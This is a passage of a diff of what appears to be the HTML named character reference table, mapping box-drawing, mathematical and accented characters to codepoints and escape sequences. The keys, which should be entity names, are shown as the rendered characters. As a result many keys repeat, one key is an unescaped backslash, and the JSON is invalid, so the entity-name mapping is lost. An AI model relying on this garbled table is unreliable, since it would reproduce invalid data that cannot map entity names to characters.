"codepoints": [9652], "characters": "\u25B4" }, - "▾": { "codepoints": [9662], "characters": "\u25BE" }, - "◂": { "codepoints": [9666], "characters": "\u25C2" }, - "▸": { "codepoints": [9656], "characters": "\u25B8" }, - "␣": { "codepoints": [9251], "characters": "\u2423" }, - "▒": { "codepoints": [9618], "characters": "\u2592" }, - "░": { "codepoints": [9617], "characters": "\u2591" }, - "▓": { "codepoints": [9619], "characters": "\u2593" }, - "█": { "codepoints": [9608], "characters": "\u2588" }, - "=⃥": { "codepoints": [61, 8421], "characters": "\u003D\u20E5" }, - "≡⃥": { "codepoints": [8801, 8421], "characters": "\u2261\u20E5" }, - "⌐": { "codepoints": [8976], "characters": "\u2310" }, - "𝕓": { "codepoints": [120147], "characters": "\uD835\uDD53" }, - "⊥": { "codepoints": [8869], "characters": "\u22A5" }, - "⊥": { "codepoints": [8869], "characters": "\u22A5" }, - "⋈": { "codepoints": [8904], "characters": "\u22C8" }, - "╗": { "codepoints": [9559], "characters": "\u2557" }, - "╔": { "codepoints": [9556], "characters": "\u2554" }, - "╖": { "codepoints": [9558], "characters": "\u2556" }, - "╓": { "codepoints": [9555], "characters": "\u2553" }, - "═": { "codepoints": [9552], "characters": "\u2550" }, - "╦": { "codepoints": [9574], "characters": "\u2566" }, - "╩": { "codepoints": [9577], "characters": "\u2569" }, - "╤": { "codepoints": [9572], "characters": "\u2564" }, - "╧": { "codepoints": [9575], "characters": "\u2567" }, - "╝": { "codepoints": [9565], "characters": "\u255D" }, - "╚": { "codepoints": [9562], "characters": "\u255A" }, - "╜": { "codepoints": [9564], "characters": "\u255C" }, - "╙": { "codepoints": [9561], "characters": "\u2559" }, - "║": { "codepoints": [9553], "characters": "\u2551" }, - "╬": { "codepoints": [9580], "characters": "\u256C" }, - "╣": { "codepoints": [9571], "characters": "\u2563" }, - "╠": { "codepoints": [9568], "characters": "\u2560" }, - "╫": { "codepoints": [9579], "characters": "\u256B" }, - "╢": { "codepoints": [9570], "characters": "\u2562" }, - "╟": { "codepoints": [9567], "characters": "\u255F" }, - "⧉": { "codepoints": [10697], "characters": "\u29C9" }, - "╕": { "codepoints": [9557], "characters": "\u2555" }, - "╒": { "codepoints": [9554], "characters": "\u2552" }, - "┐": { "codepoints": [9488], "characters": "\u2510" }, - "┌": { "codepoints": [9484], "characters": "\u250C" }, - "─": { "codepoints": [9472], "characters": "\u2500" }, - "╥": { "codepoints": [9573], "characters": "\u2565" }, - "╨": { "codepoints": [9576], "characters": "\u2568" }, - "┬": { "codepoints": [9516], "characters": "\u252C" }, - "┴": { "codepoints": [9524], "characters": "\u2534" }, - "⊟": { "codepoints": [8863], "characters": "\u229F" }, - "⊞": { "codepoints": [8862], "characters": "\u229E" }, - "⊠": { "codepoints": [8864], "characters": "\u22A0" }, - "╛": { "codepoints": [9563], "characters": "\u255B" }, - "╘": { "codepoints": [9560], "characters": "\u2558" }, - "┘": { "codepoints": [9496], "characters": "\u2518" }, - "└": { "codepoints": [9492], "characters": "\u2514" }, - "│": { "codepoints": [9474], "characters": "\u2502" }, - "╪": { "codepoints": [9578], "characters": "\u256A" }, - "╡": { "codepoints": [9569], "characters": "\u2561" }, - "╞": { "codepoints": [9566], "characters": "\u255E" }, - "┼": { "codepoints": [9532], "characters": "\u253C" }, - "┤": { "codepoints": [9508], "characters": "\u2524" }, - "├": { "codepoints": [9500], "characters": "\u251C" }, - "‵": { "codepoints": [8245], "characters": "\u2035" }, - "˘": { "codepoints": [728], "characters": "\u02D8" }, - "¦": { "codepoints": [166], "characters": "\u00A6" }, - "¦": { "codepoints": [166], "characters": "\u00A6" }, - "𝒷": { "codepoints": [119991], "characters": "\uD835\uDCB7" }, - "⁏": { "codepoints": [8271], "characters": "\u204F" }, - "∽": { "codepoints": [8765], "characters": "\u223D" }, - "⋍": { "codepoints": [8909], "characters": "\u22CD" }, - "\": { "codepoints": [92], "characters": "\u005C" }, - "⧅": { "codepoints": [10693], "characters": "\u29C5" }, - "⟈": { "codepoints": [10184], "characters": "\u27C8" }, - "•": { "codepoints": [8226], "characters": "\u2022" }, - "•": { "codepoints": [8226], "characters": "\u2022" }, - "≎": { "codepoints": [8782], "characters": "\u224E" }, - "⪮": { "codepoints": [10926], "characters": "\u2AAE" }, - "≏": { "codepoints": [8783], "characters": "\u224F" }, - "≏": { "codepoints": [8783], "characters": "\u224F" }, - "ć": { "codepoints": [263], "characters": "\u0107" }, - "∩": { "codepoints": [8745], "characters": "\u2229" }, - "⩄": { "codepoints": [10820], "characters": "\u2A44" }, - "⩉": { "codepoints": [10825], "characters": "\u2A49" }, - "⩋": { "codepoints": [10827], "characters": "\u2A4B" }, - "⩇": { "codepoints": [10823], "characters": "\u2A47" }, - "⩀": { "codepoints": [10816], "characters": "\u2A40" }, - "∩︀": { "codepoints": [8745, 65024], "characters": "\u2229\uFE00" }, - "⁁": { "codepoints": [8257], "characters": "\u2041" }, - "ˇ": { "codepoints": [711], "characters": "\u02C7" }, - "⩍": { "codepoints": [10829], "characters": "\u2A4D" }, - "č": { "codepoints": [269], "characters": "\u010D" }, - "ç": { "codepoints": [231], "characters": "\u00E7" }, - "ç": { "codepoints": [231], "characters": "\u00E7" }, - "ĉ": { "codepoints": [265], "characters": "\u0109" }, - "⩌": { "codepoints": [10828], "characters": "\u2A4C" }, - "⩐": { "codepoints": [10832], "characters": "\u2A50" }, - "ċ": { "codepoints": [267], "characters": "\u010B" }, - "¸": { "codepoints": [184], "characters": "\u00B8" }, - "¸": { "codepoints": [184], "characters": "\u00B8" }, - "⦲": { "codepoints": [10674], "characters": "\u29B2" }, - "¢": { "codepoints": [162], "characters": "\u00A2" }, - "¢": { "codepoints": [162], "characters": "\u00A2" }, - "·": { "codepoints": [183], "characters": "\u00B7" }, - "𝔠": { "codepoints": [120096], "characters": "\uD835\uDD20" }, - "ч": { "codepoints": [1095], "characters": "\u0447" }, - "✓": { "codepoints": [10003], "characters": "\u2713" }, - "✓": { "codepoints": [10003], "characters": "\u2713" }, - "χ": { "codepoints": [967], "characters": "\u03C7" }, - "○": { "codepoints": [9675], "characters": "\u25CB" }, - "⧃": { "codepoints": [10691], "characters": "\u29C3" }, - "ˆ": { "codepoints": [710], "characters": "\u02C6" }, - "≗": { "codepoints": [8791], "characters": "\u2257" }, - "↺": { "codepoints": [8634], "characters": "\u21BA" }, - "↻": { "codepoints": [8635], "characters": "\u21BB" }, - "®": { "codepoints": [174], "characters": "\u00AE" }, - "Ⓢ": { "codepoints": [9416], "characters": "\u24C8" }, - "⊛": { "codepoints": [8859], "characters": "\u229B" }, - "⊚": { "codepoints": [8858], "characters": "\u229A" }, - "⊝": { "codepoints": [8861], "characters": "\u229D" }, - "≗": { "codepoints": [8791], "characters": "\u2257" }, - "⨐": { "codepoints": [10768], "characters": "\u2A10" }, - "⫯": { "codepoints": [10991], "characters": "\u2AEF" }, - "⧂": { "codepoints": [10690], "characters": "\u29C2" }, - "♣": { "codepoints": [9827], "characters": "\u2663" }, - "♣": { "codepoints": [9827], "characters": "\u2663" }, - ":": { "codepoints": [58], "characters": "\u003A" }, - "≔": { "codepoints": [8788], "characters": "\u2254" }, - "≔": { "codepoints": [8788], "characters": "\u2254" }, - ",": { "codepoints": [44], "characters": "\u002C" }, - "@": { "codepoints": [64], "characters": "\u0040" }, - "∁": { "codepoints": [8705], "characters": "\u2201" }, - "∘": { "codepoints": [8728], "characters": "\u2218" }, - "∁": { "codepoints": [8705], "characters": "\u2201" }, - "ℂ": { "codepoints": [8450], "characters": "\u2102" }, - "≅": { "codepoints": [8773], "characters": "\u2245" }, - "⩭": { "codepoints": [10861], "characters": "\u2A6D" }, - "∮": { "codepoints": [8750], "characters": "\u222E" }, - "𝕔": { "codepoints": [120148], "characters": "\uD835\uDD54" }, - "∐": { "codepoints": [8720], "characters": "\u2210" }, - "©": { "codepoints": [169], "characters": "\u00A9" }, - "©": { "codepoints": [169], "characters": "\u00A9" }, - "℗": { "codepoints": [8471], "characters": "\u2117" }, - "↵": { "codepoints": [8629], "characters": "\u21B5" }, - "✗": { "codepoints": [10007], "characters": "\u2717" }, - "𝒸": { "codepoints": [119992], "characters": "\uD835\uDCB8" }, - "⫏": { "codepoints": [10959], "characters": "\u2ACF" }, - "⫑": { "codepoints": [10961], "characters": "\u2AD1" }, - "⫐": { "codepoints": [10960], "characters": "\u2AD0" }, - "⫒": { "codepoints": [10962], "characters": "\u2AD2" }, - "⋯": { "codepoints": [8943], "characters": "\u22EF" }, - "⤸": { "codepoints": [10552], "characters": "\u2938" }, - "⤵": { "codepoints": [10549], "characters": "\u2935" }, - "⋞": { "codepoints": [8926], "characters": "\u22DE" }, - "⋟": { "codepoints": [8927], "characters": "\u22DF" }, - "↶": { "codepoints": [8630], "characters": "\u21B6" }, - "⤽": { "codepoints": [10557], "characters": "\u293D" }, - "∪": { "codepoints": [8746], "characters": "\u222A" }, - "⩈": { "codepoints": [10824], "characters": "\u2A48" }, - "⩆": { "codepoints": [10822], "characters": "\u2A46" }, - "⩊": { "codepoints": [10826], "characters": "\u2A4A" }, - "⊍": { "codepoints": [8845], "characters": "\u228D" }, - "⩅": { "codepoints": [10821], "characters": "\u2A45" }, - "∪︀": { "codepoints": [8746, 65024], "characters": "\u222A\uFE00" }, - "↷": { "codepoints": [8631], "characters": "\u21B7" }, - "⤼": { "codepoints": [10556], "characters": "\u293C" }, - "⋞": { "codepoints": [8926], "characters": "\u22DE" }, - "⋟": { "codepoints": [8927], "characters": "\u22DF" }, - "⋎": { "codepoints": [8910], "characters": "\u22CE" }, - "⋏": { "codepoints": [8911], "characters": "\u22CF" }, - "¤": { "codepoints": [164], "characters": "\u00A4" }, - "¤": { "codepoints": [164], "characters": "\u00A4" }, - "↶": { "codepoints": [8630], "characters": "\u21B6" }, - "↷": { "codepoints": [8631], "characters": "\u21B7" }, - "⋎": { "codepoints": [8910], "characters": "\u22CE" }, - "⋏": { "codepoints": [8911], "characters": "\u22CF" }, - "∲": { "codepoints": [8754], "characters": "\u2232" }, - "∱": { "codepoints": [8753], "characters": "\u2231" }, - "⌭": { "codepoints": [9005], "characters": "\u232D" }, - "⇓": { "codepoints": [8659], "characters": "\u21D3" }, - "⥥": { "codepoints": [10597], "characters": "\u2965" }, - "†": { "codepoints": [8224], "characters": "\u2020" }, - "ℸ": { "codepoints": [8504], "characters": "\u2138" }, - "↓": { "codepoints": [8595], "characters": "\u2193" }, - "‐": { "codepoints": [8208], "characters": "\u2010" }, - "⊣": { "codepoints": [8867], "characters": "\u22A3" }, - "⤏": { "codepoints": [10511], "characters": "\u290F" }, - "˝": { "codepoints": [733], "characters": "\u02DD" }, - "ď": { "codepoints": [271], "characters": "\u010F" }, - "д": { "codepoints": [1076], "characters": "\u0434" }, - "ⅆ": { "codepoints": [8518], "characters": "\u2146" }, - "‡": { "codepoints": [8225], "characters": "\u2021" }, - "⇊": { "codepoints": [8650], "characters": "\u21CA" }, - "⩷": { "codepoints": [10871], "characters": "\u2A77" }, - "°": { "codepoints": [176], "characters": "\u00B0" }, - "°": { "codepoints": [176], "characters": "\u00B0" }, - "δ": { "codepoints": [948], "characters": "\u03B4" }, - "⦱": { "codepoints": [10673], "characters": "\u29B1" }, - "⥿": { "codepoints": [10623], "characters": "\u297F" }, - "𝔡": { "codepoints": [120097], "characters": "\uD835\uDD21" }, - "⇃": { "codepoints": [8643], "characters": "\u21C3" }, - "⇂": { "codepoints": [8642], "characters": "\u21C2" }, - "⋄": { "codepoints": [8900], "characters": "\u22C4" }, - "⋄": { "codepoints": [8900], "characters": "\u22C4" }, - "♦": { "codepoints": [9830], "characters": "\u2666" }, - "♦": { "codepoints": [9830], "characters": "\u2666" }, - "¨": { "codepoints": [168], "characters": "\u00A8" }, - "ϝ": { "codepoints": [989], "characters": "\u03DD" }, - "⋲": { "codepoints": [8946], "characters": "\u22F2" }, - "÷": { "codepoints": [247], "characters": "\u00F7" }, - "÷": { "codepoints": [247], "characters": "\u00F7" }, - "÷": { "codepoints": [247], "characters": "\u00F7" }, - "⋇": { "codepoints": [8903], "characters": "\u22C7" }, - "⋇": { "codepoints": [8903], "characters": "\u22C7" }, - "ђ": { "codepoints": [1106], "characters": "\u0452" }, - "⌞": { "codepoints": [8990], "characters": "\u231E" }, - "⌍": { "codepoints": [8973], "characters": "\u230D" }, - "$": { "codepoints": [36], "characters": "\u0024" }, - "𝕕": { "codepoints": [120149], "characters": "\uD835\uDD55" }, - "˙": { "codepoints": [729], "characters": "\u02D9" }, - "≐": { "codepoints": [8784], "characters": "\u2250" }, - "≑": { "codepoints": [8785], "characters": "\u2251" }, - "∸": { "codepoints": [8760], "characters": "\u2238" }, - "∔": { "codepoints": [8724], "characters": "\u2214" }, - "⊡": { "codepoints": [8865], "characters": "\u22A1" }, - "⌆": { "codepoints": [8966], "characters": "\u2306" }, - "↓": { "codepoints": [8595], "characters": "\u2193" }, - "⇊": { "codepoints": [8650], "characters": "\u21CA" }, - "⇃": { "codepoints": [8643], "characters": "\u21C3" }, - "⇂": { "codepoints": [8642], "characters": "\u21C2" }, - "⤐": { "codepoints": [10512], "characters": "\u2910" }, - "⌟": { "codepoints": [8991], "characters": "\u231F" }, - "⌌": { "codepoints": [8972], "characters": "\u230C" }, - "𝒹": { "codepoints": [119993], "characters": "\uD835\uDCB9" }, - "ѕ": { "codepoints": [1109], "characters": "\u0455" }, - "⧶": { "codepoints": [10742], "characters": "\u29F6" }, - "đ": { "codepoints": [273], "characters": "\u0111" }, - "⋱": { "codepoints": [8945], "characters": "\u22F1" }, - "▿": { "codepoints": [9663], "characters": "\u25BF" }, - "▾": { "codepoints": [9662], "characters": "\u25BE" }, - "⇵": { "codepoints": [8693], "characters": "\u21F5" }, - "⥯": { "codepoints": [10607], "characters": "\u296F" }, - "⦦": { "codepoints": [10662], "characters": "\u29A6" }, - "џ": { "codepoints": [1119], "characters": "\u045F" }, - "⟿": { "codepoints": [10239], "characters": "\u27FF" }, - "⩷": { "codepoints": [10871], "characters": "\u2A77" }, - "≑": { "codepoints": [8785], "characters": "\u2251" }, - "é": { "codepoints": [233], "characters": "\u00E9" }, - "é": { "codepoints": [233], "characters": "\u00E9" }, - "⩮": { "codepoints": [10862], "characters": "\u2A6E" }, - "ě": { "codepoints": [283], "characters": "\u011B" }, - "≖": { "codepoints": [8790], "characters": "\u2256" }, - "ê": { "codepoints": [234], "characters": "\u00EA" }, - "ê": { "codepoints": [234], "characters": "\u00EA" }, - "≕": { "codepoints": [8789], "characters": "\u2255" }, - "э": { "codepoints": [1101], "characters": "\u044D" }, - "ė": { "codepoints": [279], "characters": "\u0117" }, - "ⅇ": { "codepoints": [8519], "characters": "\u2147" }, - "≒": { "codepoints": [8786], "characters": "\u2252" }, - "𝔢": { "codepoints": [120098], "characters": "\uD835\uDD22" }, - "⪚": { "codepoints": [10906], "characters": "\u2A9A" }, - "è": { "codepoints": [232], "characters": "\u00E8" }, - "è": { "codepoints": [232], "characters": "\u00E8" }, - "⪖": { "codepoints": [10902], "characters": "\u2A96" }, - "⪘": { "codepoints": [10904], "characters": "\u2A98" }, - "⪙": { "codepoints": [10905], "characters": "\u2A99" }, - "⏧": { "codepoints": [9191], "characters": "\u23E7" }, - "ℓ": { "codepoints": [8467], "characters": "\u2113" }, - "⪕": { "codepoints": [10901], "characters": "\u2A95" }, - "⪗": { "codepoints": [10903], "characters": "\u2A97" }, - "ē": { "codepoints": [275], "characters": "\u0113" }, - "∅": { "codepoints": [8709], "characters": "\u2205" }, - "∅": { "codepoints": [8709], "characters": "\u2205" }, - "∅": { "codepoints": [8709], "characters": "\u2205" }, - " ": { "codepoints": [8196], "characters": "\u2004" }, - " ": { "codepoints": [8197], "characters": "\u2005" }, - " ": { "codepoints": [8195], "characters": "\u2003" }, - "ŋ": { "codepoints": [331], "characters": "\u014B" }, - " ": { "codepoints": [8194], "characters": "\u2002" }, - "ę": { "codepoints": [281], "characters": "\u0119" }, - "𝕖": { "codepoints": [120150], "characters": "\uD835\uDD56" }, - "⋕": { "codepoints": [8917], "characters": "\u22D5" }, - "⧣": { "codepoints": [10723], "characters": "\u29E3" }, - "⩱": { "codepoints": [10865], "characters": "\u2A71" }, - "ε": { "codepoints": [949], "characters": "\u03B5" }, - "ε": { "codepoints": [949], "characters": "\u03B5" }, - "ϵ": { "codepoints": [1013], "characters": "\u03F5" }, - "≖": { "codepoints": [8790], "characters": "\u2256" }, - "≕": { "codepoints": [8789], "characters": "\u2255" }, - "≂": { "codepoints": [8770], "characters": "\u2242" }, - "⪖": { "codepoints": [10902], "characters": "\u2A96" }, - "⪕": { "codepoints": [10901], "characters": "\u2A95" }, - "=": { "codepoints": [61], "characters": "\u003D" }, - "≟": { "codepoints": [8799], "characters": "\u225F" }, - "≡": { "codepoints": [8801], "characters": "\u2261" }, - "⩸": { "codepoints": [10872], "characters": "\u2A78" }, - "⧥": { "codepoints": [10725], "characters": "\u29E5" }, - "≓": { "codepoints": [8787], "characters": "\u2253" }, - "⥱": { "codepoints": [10609], "characters": "\u2971" }, - "ℯ": { "codepoints": [8495], "characters": "\u212F" }, - "≐": { "codepoints": [8784], "characters": "\u2250" }, - "≂": { "codepoints": [8770], "characters": "\u2242" }, - "η": { "codepoints": [951], "characters": "\u03B7" }, - "ð": { "codepoints": [240], "characters": "\u00F0" }, - "ð": { "codepoints": [240], "characters": "\u00F0" }, - "ë": { "codepoints": [235], "characters": "\u00EB" }, - "ë": { "codepoints": [235], "characters": "\u00EB" }, - "€": { "codepoints": [8364], "characters": "\u20AC" }, - "!": { "codepoints": [33], "characters": "\u0021" }, - "∃": { "codepoints": [8707], "characters": "\u2203" }, - "ℰ": { "codepoints": [8496], "characters": "\u2130" }, - "ⅇ": { "codepoints": [8519], "characters": "\u2147" }, - "≒": { "codepoints": [8786], "characters": "\u2252" }, - "ф": { "codepoints": [1092], "characters": "\u0444" }, - "♀": { "codepoints": [9792], "characters": "\u2640" }, - "ffi": { "codepoints": [64259], "characters": "\uFB03" }, - "ff": { "codepoints": [64256], "characters": "\uFB00" }, - "ffl": { "codepoints": [64260], "characters": "\uFB04" }, - "𝔣": { "codepoints": [120099], "characters": "\uD835\uDD23" }, - "fi": { "codepoints": [64257], "characters": "\uFB01" }, - "fj": { "codepoints": [102, 106], "characters": "\u0066\u006A" }, - "♭": { "codepoints": [9837], "characters": "\u266D" }, - "fl": { "codepoints": [64258], "characters": "\uFB02" }, - "▱": { "codepoints": [9649], "characters": "\u25B1" }, - "ƒ": { "codepoints": [402], "characters": "\u0192" }, - "𝕗": { "codepoints": [120151], "characters": "\uD835\uDD57" }, - "∀": { "codepoints": [8704], "characters": "\u2200" }, - "⋔": { "codepoints": [8916], "characters": "\u22D4" }, - "⫙": { "codepoints": [10969], "characters": "\u2AD9" }, - "⨍": { "codepoints": [10765], "characters": "\u2A0D" }, - "½": { "codepoints": [189], "characters": "\u00BD" }, - "½": { "codepoints": [189], "characters": "\u00BD" }, - "⅓": { "codepoints": [8531], "characters": "\u2153" }, - "¼": { "codepoints": [188], "characters": "\u00BC" }, - "¼": { "codepoints": [188], "characters": "\u00BC" }, - "⅕": { "codepoints": [8533], "characters": "\u2155" }, - "⅙": { "codepoints": [8537], "characters": "\u2159" }, - "⅛": { "codepoints": [8539], "characters": "\u215B" }, - "⅔": { "codepoints": [8532], "characters": "\u2154" }, - "⅖": { "codepoints": [8534], "characters": "\u2156" }, - "¾": { "codepoints": [190], "characters": "\u00BE" }, - "¾": { "codepoints": [190], "characters": "\u00BE" }, - "⅗": { "codepoints": [8535], "characters": "\u2157" }, - "⅜": { "codepoints": [8540], "characters": "\u215C" }, - "⅘": { "codepoints": [8536], "characters": "\u2158" }, - "⅚": { "codepoints": [8538], "characters": "\u215A" }, - "⅝": { "codepoints": [8541], "characters": "\u215D" }, - "⅞": { "codepoints": [8542], "characters": "\u215E" }, - "⁄": { "codepoints": [8260], "characters": "\u2044" }, - "⌢": { "codepoints": [8994], "characters": "\u2322" }, - "𝒻": { "codepoints": [119995], "characters": "\uD835\uDCBB" }, - "≧": { "codepoints": [8807], "characters": "\u2267" }, - "⪌": { "codepoints": [10892], "characters": "\u2A8C" }, - "ǵ": { "codepoints": [501], "characters": "\u01F5" }, - "γ": { "codepoints": [947], "characters": "\u03B3" }, - "ϝ": { "codepoints": [989], "characters": "\u03DD" }, - "⪆": { "codepoints": [10886], "characters": "\u2A86" }, - "ğ": { "codepoints": [287], "characters": "\u011F" }, - "ĝ": { "codepoints": [285], "characters": "\u011D" }, - "г": { "codepoints": [1075], "characters": "\u0433" }, - "ġ": { "codepoints": [289], "characters": "\u0121" }, - "≥": { "codepoints": [8805], "characters": "\u2265" }, - "⋛": { "codepoints": [8923], "characters": "\u22DB" }, - "≥": { "codepoints": [8805], "characters": "\u2265" }, - "≧": { "codepoints": [8807], "characters": "\u2267" }, - "⩾": { "codepoints": [10878], "characters": "\u2A7E" }, - "⩾": { "codepoints": [10878], "characters": "\u2A7E" }, - "⪩": { "codepoints": [10921], "characters": "\u2AA9" }, - "⪀": { "codepoints": [10880], "characters": "\u2A80" }, - "⪂": { "codepoints": [10882], "characters": "\u2A82" }, - "⪄": { "codepoints": [10884], "characters": "\u2A84" }, - "⋛︀": { "codepoints": [8923, 65024], "characters": "\u22DB\uFE00" }, - "⪔": { "codepoints": [10900], "characters": "\u2A94" }, - "𝔤": { "codepoints": [120100], "characters": "\uD835\uDD24" }, - "≫": { "codepoints": [8811], "characters": "\u226B" }, - "⋙": { "codepoints": [8921], "characters": "\u22D9" }, - "ℷ": { "codepoints": [8503], "characters": "\u2137" }, - "ѓ": { "codepoints": [1107], "characters": "\u0453" }, - "≷": { "codepoints": [8823], "characters": "\u2277" }, - "⪒": { "codepoints": [10898], "characters": "\u2A92" }, - "⪥": { "codepoints": [10917], "characters": "\u2AA5" }, - "⪤": { "codepoints": [10916], "characters": "\u2AA4" }, - "≩": { "codepoints": [8809], "characters": "\u2269" }, - "⪊": { "codepoints": [10890], "characters": "\u2A8A" }, - "⪊": { "codepoints": [10890], "characters": "\u2A8A" }, - "⪈": { "codepoints": [10888], "characters": "\u2A88" }, - "⪈": { "codepoints": [10888], "characters": "\u2A88" }, - "≩": { "codepoints": [8809], "characters": "\u2269" }, - "⋧": { "codepoints": [8935], "characters": "\u22E7" }, - "𝕘": { "codepoints": [120152], "characters": "\uD835\uDD58" }, - "`": { "codepoints": [96], "characters": "\u0060" }, - "ℊ": { "codepoints": [8458], "characters": "\u210A" }, - "≳": { "codepoints": [8819], "characters": "\u2273" }, - "⪎": { "codepoints": [10894], "characters": "\u2A8E" }, - "⪐": { "codepoints": [10896], "characters": "\u2A90" }, - ">": { "codepoints": [62], "characters": "\u003E" }, - ">": { "codepoints": [62], "characters": "\u003E" }, - "⪧": { "codepoints": [10919], "characters": "\u2AA7" }, - "⩺": { "codepoints": [10874], "characters": "\u2A7A" }, - "⋗": { "codepoints": [8919], "characters": "\u22D7" }, - "⦕": { "codepoints": [10645], "characters": "\u2995" }, - "⩼": { "codepoints": [10876], "characters": "\u2A7C" }, - "⪆": { "codepoints": [10886], "characters": "\u2A86" }, - "⥸": { "codepoints": [10616], "characters": "\u2978" }, - "⋗": { "codepoints": [8919], "characters": "\u22D7" }, - "⋛": { "codepoints": [8923], "characters": "\u22DB" }, - "⪌": { "codepoints": [10892], "characters": "\u2A8C" }, - "≷": { "codepoints": [8823], "characters": "\u2277" }, - "≳": { "codepoints": [8819], "characters": "\u2273" }, - "≩︀": { "codepoints": [8809, 65024], "characters": "\u2269\uFE00" }, - "≩︀": { "codepoints": [8809, 65024], "characters": "\u2269\uFE00" }, - "⇔": { "codepoints": [8660], "characters": "\u21D4" }, - " ": { "codepoints": [8202], "characters": "\u200A" }, - "½": { "codepoints": [189], "characters": "\u00BD" }, - "ℋ": { "codepoints": [8459], "characters": "\u210B" }, - "ъ": { "codepoints": [1098], "characters": "\u044A" }, - "↔": { "codepoints": [8596], "characters": "\u2194" }, - "⥈": { "codepoints": [10568], "characters": "\u2948" }, - "↭": { "codepoints": [8621], "characters": "\u21AD" }, - "ℏ": { "codepoints": [8463], "characters": "\u210F" }, - "ĥ": { "codepoints": [293], "characters": "\u0125" }, - "♥": { "codepoints": [9829], "characters": "\u2665" }, - "♥": { "codepoints": [9829], "characters": "\u2665" }, - "…": { "codepoints": [8230], "characters": "\u2026" }, - "⊹": { "codepoints": [8889], "characters": "\u22B9" }, - "𝔥": { "codepoints": [120101], "characters": "\uD835\uDD25" }, - "⤥": { "codepoints": [10533], "characters": "\u2925" }, - "⤦": { "codepoints": [10534], "characters": "\u2926" }, - "⇿": { "codepoints": [8703], "characters": "\u21FF" }, - "∻": { "codepoints": [8763], "characters": "\u223B" }, - "↩": { "codepoints": [8617], "characters": "\u21A9" }, - "↪": { "codepoints": [8618], "characters": "\u21AA" }, - "𝕙": { "codepoints": [120153], "characters": "\uD835\uDD59" }, - "―": { "codepoints": [8213], "characters": "\u2015" }, - "𝒽": { "codepoints": [119997], "characters": "\uD835\uDCBD" }, - "ℏ": { "codepoints": [8463], "characters": "\u210F" }, - "ħ": { "codepoints": [295], "characters": "\u0127" }, - "⁃": { "codepoints": [8259], "characters": "\u2043" }, - "‐": { "codepoints": [8208], "characters": "\u2010" }, - "í": { "codepoints": [237], "characters": "\u00ED" }, - "í": { "codepoints": [237], "characters": "\u00ED" }, - "⁣": { "codepoints": [8291], "characters": "\u2063" }, - "î": { "codepoints": [238], "characters": "\u00EE" }, - "î": { "codepoints": [238], "characters": "\u00EE" }, - "и": { "codepoints": [1080], "characters": "\u0438" }, - "е": { "codepoints": [1077], "characters": "\u0435" }, - "¡": { "codepoints": [161], "characters": "\u00A1" }, - "¡": { "codepoints": [161], "characters": "\u00A1" }, - "⇔": { "codepoints": [8660], "characters": "\u21D4" }, - "𝔦": { "codepoints": [120102], "characters": "\uD835\uDD26" }, - "ì": { "codepoints": [236], "characters": "\u00EC" }, - "ì": { "codepoints": [236], "characters": "\u00EC" }, - "ⅈ": { "codepoints": [8520], "characters": "\u2148" }, - "⨌": { "codepoints": [10764], "characters": "\u2A0C" }, - "∭": { "codepoints": [8749], "characters": "\u222D" }, - "⧜": { "codepoints": [10716], "characters": "\u29DC" }, - "℩": { "codepoints": [8489], "characters": "\u2129" }, - "ij": { "codepoints": [307], "characters": "\u0133" }, - "ī": { "codepoints": [299], "characters": "\u012B" }, - "ℑ": { "codepoints": [8465], "characters": "\u2111" }, - "ℐ": { "codepoints": [8464], "characters": "\u2110" }, - "ℑ": { "codepoints": [8465], "characters": "\u2111" }, - "ı": { "codepoints": [305], "characters": "\u0131" }, - "⊷": { "codepoints": [8887], "characters": "\u22B7" }, - "Ƶ": { "codepoints": [437], "characters": "\u01B5" }, - "∈": { "codepoints": [8712], "characters": "\u2208" }, - "℅": { "codepoints": [8453], "characters": "\u2105" }, - "∞": { "codepoints": [8734], "characters": "\u221E" }, - "⧝": { "codepoints": [10717], "characters": "\u29DD" }, - "ı": { "codepoints": [305], "characters": "\u0131" }, - "∫": { "codepoints": [8747], "characters": "\u222B" }, - "⊺": { "codepoints": [8890], "characters": "\u22BA" }, - "ℤ": { "codepoints": [8484], "characters": "\u2124" }, - "⊺": { "codepoints": [8890], "characters": "\u22BA" }, - "⨗": { "codepoints": [10775], "characters": "\u2A17" }, - "⨼": { "codepoints": [10812], "characters": "\u2A3C" }, - "ё": { "codepoints": [1105], "characters": "\u0451" }, - "į": { "codepoints": [303], "characters": "\u012F" }, - "𝕚": { "codepoints": [120154], "characters": "\uD835\uDD5A" }, - "ι": { "codepoints": [953], "characters": "\u03B9" }, - "⨼": { "codepoints": [10812], "characters": "\u2A3C" }, - "¿": { "codepoints": [191], "characters": "\u00BF" }, - "¿": { "codepoints": [191], "characters": "\u00BF" }, - "𝒾": { "codepoints": [119998], "characters": "\uD835\uDCBE" }, - "∈": { "codepoints": [8712], "characters": "\u2208" }, - "⋹": { "codepoints": [8953], "characters": "\u22F9" }, - "⋵": { "codepoints": [8949], "characters": "\u22F5" }, - "⋴": { "codepoints": [8948], "characters": "\u22F4" }, - "⋳": { "codepoints": [8947], "characters": "\u22F3" }, - "∈": { "codepoints": [8712], "characters": "\u2208" }, - "⁢": { "codepoints": [8290], "characters": "\u2062" }, - "ĩ": { "codepoints": [297], "characters": "\u0129" }, - "і": { "codepoints": [1110], "characters": "\u0456" }, - "ï": { "codepoints": [239], "characters": "\u00EF" }, - "ï": { "codepoints": [239], "characters": "\u00EF" }, - "ĵ": { "codepoints": [309], "characters": "\u0135" }, - "й": { "codepoints": [1081], "characters": "\u0439" }, - "𝔧": { "codepoints": [120103], "characters": "\uD835\uDD27" }, - "ȷ": { "codepoints": [567], "characters": "\u0237" }, - "𝕛": { "codepoints": [120155], "characters": "\uD835\uDD5B" }, - "𝒿": { "codepoints": [119999], "characters": "\uD835\uDCBF" }, - "ј": { "codepoints": [1112], "characters": "\u0458" }, - "є": { "codepoints": [1108], "characters": "\u0454" }, - "κ": { "codepoints": [954], "characters": "\u03BA" }, - "ϰ": { "codepoints": [1008], "characters": "\u03F0" }, - "ķ": { "codepoints": [311], "characters": "\u0137" }, - "к": { "codepoints": [1082], "characters": "\u043A" }, - "𝔨": { "codepoints": [120104], "characters": "\uD835\uDD28" }, - "ĸ": { "codepoints": [312], "characters": "\u0138" }, - "х": { "codepoints": [1093], "characters": "\u0445" }, - "ќ": { "codepoints": [1116], "characters": "\u045C" }, - "𝕜": { "codepoints": [120156], "characters": "\uD835\uDD5C" }, - "𝓀": { "codepoints": [120000], "characters": "\uD835\uDCC0" }, - "⇚": { "codepoints": [8666], "characters": "\u21DA" }, - "⇐": { "codepoints": [8656], "characters": "\u21D0" }, - "⤛": { "codepoints": [10523], "characters": "\u291B" 